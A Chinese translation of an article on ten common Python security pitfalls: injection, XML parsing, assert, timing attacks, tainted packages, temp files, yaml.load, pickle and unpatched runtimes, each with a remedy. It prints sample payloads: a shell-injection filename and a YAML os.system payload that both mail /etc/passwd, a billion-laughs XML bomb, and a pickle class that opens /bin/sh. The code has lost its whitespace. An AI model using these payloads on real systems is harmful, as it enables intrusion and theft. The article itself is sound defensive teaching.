尋夢新聞LINE@每日推播熱門推薦文章,趣聞不漏接❤️
編寫安全的代碼很難。學一門語言、一個模塊或一個框架時,你學到的是它應該怎麼用。而在安全方面,你需要考慮它們能怎樣被濫用。Python 也不例外,即使標準庫的文檔里已經清清楚楚地寫出了那些錯誤的用法。即使如此,筆者與許多 Python 開發者交談時也發現他們根本不知道這些。
以下是筆者多年開發過程中經常遇到的 10 條 Python 應用中的陷阱,排名不分先後,希望為正在學習 Python 的開發者們有所助益。
輸入注入
輸入注入攻擊被應用得非常廣泛。有許多種注入方式,能夠影響到所有語言、框架和環境。
首先是 SQL 注入。如果不使用 ORM,而是直接通過字符串結合變量的方式書寫 SQL 查詢,就有 SQL 注入的可能性。我看過許多代碼試圖利用轉義符防止 SQL 注入。事實上,轉義符做不到。
各種複雜的 SQL 注入方式:https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/
命令注入發生在通過 popen、subprocess、os.system 調用進程,並傳遞變量作為參數時發生。調用本地命令時,參數變量有可能會被人為設置成惡意值。以下這段代碼(https://www.kevinlondon.com/2015/07/26/dangerous-python-functions.html)由用戶提供文件名,然後調用子進程:
importsubprocessdeftranscode_file(request,filename):command='ffmpeg-i"{source}"output_file.mpg'.format(source=filename)subprocess.call(command,shell=True)#abadidea!
攻擊者可以將變量名設置為 “; cat /etc/passwd | mail [email protected] 或者任何類似的危險命令。
應對方式:
如果你使用了 Web 框架,就利用 Web 框架提供的工具對輸入進行淨化。除非有足夠的理由,否則不要手工拼寫 SQL 查詢。大部分 ORM 都會提供淨化的手段。
對於命令行,可以使用 shlex 模塊來正確地對輸入進行轉義(https://docs.python.org/3/library/shlex.html#shlex.quote)。
分析XML
如果應用程序要加載並解析 XML 文件,那麼你用的 XML 標準庫模塊有可能會受到攻擊。有幾種通過 XML 進行攻擊的常見手段。大多數都是 DoS 攻擊(拒絕服務攻擊,目的是讓系統癱瘓,而不是竊取數據)。這些攻擊很常用,在需要解析外部 XML 文件(即不被信任的 XML 文件)時尤甚。
一種攻擊叫做「billion laughs」攻擊,該方法由於其內容通常包含大量「lol」(十億個)而得名。其原理是 XML 可以引用實體,因此當 XML 解析器加載該文件時,它會占用幾個 G 的內存。不信的話試試看。
<?xmlversion="1.0"?><!DOCTYPElolz[<!ENTITYlol"lol"><!ENTITYlol2"&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"><!ENTITYlol3"&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"><!ENTITYlol4"&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"><!ENTITYlol5"&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"><!ENTITYlol6"&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"><!ENTITYlol7"&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"><!ENTITYlol8"&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"><!ENTITYlol9"&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">]><lolz>&lol9;</lolz>
另一種攻擊方法叫做外部實體擴展。XML 支持從外部 UR L引用實體,因此 XML 解析器通常會不加懷疑地讀取並加載外部資源。「由於這些請求都來自內部可信賴的 IP 地址,不是外部地址,因此攻擊者可以用這個方法繞過防火牆,訪問到本來無法訪問的資源。」
另一種需要考慮的情況就是你在解析 XML(如配置文件、遠程 API)的時候依賴的第三方軟件包。你甚至都沒辦法知道哪個依賴會受到這種攻擊。
那麼 Python 如何?實際上標準庫的模塊 etree、DOM、xmlrpc 都廣泛受到這種攻擊的影響。這里有詳細的文檔:https://docs.python.org/3/library/xml.html#xml-vulnerabilities
應對方法:
使用 defusedxml(https://pypi.org/project/defusedxml/)替換標準庫模塊。這個模塊能防止這類攻擊。
斷言語句
不要用斷言語句阻斷用戶不應該訪問的代碼。比如這個簡單的例子:
deffoo(request,user):assertuser.is_admin,「userdoesnothaveaccess」#securecode...
默認情況下 Python 執行時 __debug__ 為真,但在生產環境中通常會做一些優化,這樣所有斷言語句都不會被運行,從而無論用戶不是不是管理員都能訪問到後面的代碼。
應對方法:
斷言語句只用來給開發者提供信息,例如在單元測試中使用,或者用來防止錯誤的 API 用法。
計時攻擊
計時攻擊的基本原理是通過測量代碼的執行時間,來判斷代碼的行為和算法。計時攻擊需要精確的時間測量,所以通常不會在高延遲的遠程網路上實施。由於絕大多數 Web 應用的延遲變化很大,因此在 HTTP Web 服務器上實施計時攻擊幾乎不可能。
但是,如果有個提示輸入密碼的命令行應用,那麼攻擊者就可以寫個簡單的腳本,測量它比較給定值與實際密碼所花費的時間。例子在此(http://jyx.github.io/blog/2014/02/02/timing-attack-proof-of-concept/)。
有一些用 Python 寫的非常好的例子,比如這個基於 SSH 的計時攻擊(https://github.com/c0r3dump3d/osueta)。可以去看看它們是如何工作的。
應對方法:
使用 Python 3.5 新加入的 secrets.compare_digest 來比較密碼和其他私密值。
被污染的 site-packages 或 import 路徑
Python 的 import 系統非常靈活。這在編寫測試程序或需要重載核心功能時很方便。
但是,它是 Python 最大的安全漏洞之一。
在 site-packages 里安裝第三方軟件包,不論是在虛擬環境中還是在全局的 site-packages(全局方式強烈不建議)中安裝,都會暴露出那些軟件包中的安全漏洞。
曾經發生過把執行任意代碼的包用與流行軟件包相似的名字發布到 PyPi 上的事情(http://www.nbu.gov.sk/skcsirt-sa-20170909-pypi/)。最大的事故到現在依然沒有被真正解決,盡管它只是為了提醒人們而沒有造成任何危害……
另一種能想到的情況就是依賴的依賴(以及進一步的依賴等)。這有可能會引入脆弱性,還有可能通過 import 系統重載 Python 的核心功能。
應對方法:
對軟件包進行審查。看看 PyUp.io 和他們的安全服務(http://pyup.io/)。所有應用都使用虛擬環境,全局 site-packages 越乾淨越好。檢查包的簽名。
臨時文件
在 Python 中創建臨時文件通常都要用 mktemp() 生成文件名,然後利用該文件名創建文件。「這種方式並不安全,因為另一個進程可能會在你調用 mktemp() 和後面創建文件的調用之間創建一個文件。」(https://docs.python.org/3/library/tempfile.html#deprecated-functions-and-variables)這意味著這種方法可以誘導你的應用程序加載錯誤的數據,或泄露臨時文件的數據。
最新版本的 Python 中,如果調用了錯誤的方法,就會引發運行時警告。
應對方法:
需要創建臨時文件時,使用 tempfile 模塊和 mkstemp 函數(https://docs.python.org/3/library/tempfile.html#tempfile.mkstemp)。
使用 yaml.load
引用 PyYAML 文檔中的警告:
警告:對任意不可信的來源中的數據調用 yaml.load 是不安全的!yaml.load 和 pickle.load 同樣強大,可能會調用任何 Python 函數。
流行的 Python 項目 Ansible 中有這樣一個漂亮的例子(https://www.talosintelligence.com/reports/TALOS-2017-0305)。給 Ansible Vault 提供下面這段(合法的)YAML。它就會利用文件中提供的參數調用 os.system() 。
!!python/object/apply:os.system["cat/etc/passwd|[email protected]"]
因此,加載用戶提供的 YAML 文件就會受到這種攻擊。
應對方法:
除非有足夠的理由,否則永遠使用 yaml.safe_load。
Pickles
反序列化 pickle 的數據和 YAML 一樣脆弱。Python 類可以定義魔術方法 __reduce__,該方法可以返回字符串,也可以返回一個元組,其中包含可調用的對象和參數,在 pickle 的時候就會被調用。攻擊者可以用這種方式調用某個子進程模塊,從而在系統上執行任意命令。
這個例子(https://blog.nelhage.com/2011/03/exploiting-pickle/)演示了怎樣在 Python 2 上通過 pickle 一個類來打開 shell。這里(https://lincolnloop.com/blog/playing-pickle-security/)還有更多關於如何攻擊 pickle 的例子。
importcPickleimportsubprocessimportbase64classRunBinSh(object):def__reduce__(self):return(subprocess.Popen,(('/bin/sh',),))printbase64.b64encode(cPickle.dumps(RunBinSh()))
應對方法:
決不要從任何不可信或未認證的數據源 unpickle 數據。使用其他序列化方法,如 JSON。
使用系統的 Python 運行時,未打補丁
大多數 POSIX 系統都自帶 Python 2,版本一般都很老。
由於 Python(即 CPython)是用 C 寫的,有時 Python 解釋器本身也有漏洞。通常與 C 語言有關的漏洞都在內存分配方面,即緩沖區溢出漏洞。
多年來 CPython 有許多溢出漏洞,這些漏洞都被後續的發布修復了。
所以,只要你及時打補丁,你就是安全的。
這里有個 Python 2.7.13 的例子(https://www.cvedetails.com/cve/CVE-2017-1000158/),整數溢出允許執行任意代碼。Ubuntu 17 之前的操作系統用的都是這個版本(如果沒打補丁的話)。
應對方法:
在產品環境中使用最新版的 Python,並記得打補丁!
不給依賴補丁
與給運行時打補丁類似,依賴也要定期打補丁。
我認為從 PyP 上安裝「固定」版本號的 Python 包是個很差勁的想法。這種想法其實就是「這些版本能正常工作」,因此大家都不再管它們。
我上面提到的這些脆弱性,如果出現在應用程序用到的軟件包中,那麼也非常危險。而那些軟件包的開發者們也在不斷地修復這些安全漏洞。
應對方法:
用 PyUp.io 之類的服務檢查更新,把新的補丁合併到你的應用程序中,運行測試保證軟件包都是最新的。
用 InSpec 等工具驗證產品環境中安裝的版本,確保打了正確的補丁。
-
參考:https://access.redhat.com/blogs/766093/posts/2592591
原文:https://hackernoon.com/10-common-security-gotchas-in-python-and-how-to-avoid-them-e19fbe265e03
作者:Anthony Shaw,Dimension Data的創新與科技開發總監。
譯者:彎月,責編:屠敏
征稿啦! CSDN 公眾號秉持著「與千萬技術人共成長」理念,不僅以「極客頭條」、「暢言」欄目在第一時間以技術人的獨特視角描述技術人關心的行業焦點事件,更有「技術頭條」專欄,深度解讀行業內的熱門技術與場景應用,讓所有的開發者緊跟技術潮流,保持警醒的技術嗅覺,對行業趨勢、技術有更為全面的認知。 如果你有優質的文章,或是行業熱點事件、技術趨勢的真知灼見,或是深度的應用實踐、場景方案等的新見解,歡迎聯繫 CSDN 投稿,聯繫方式:微信(guorui_1118,請備註投稿+姓名+公司職位),郵箱([email protected])。
————— 推薦閱讀 —————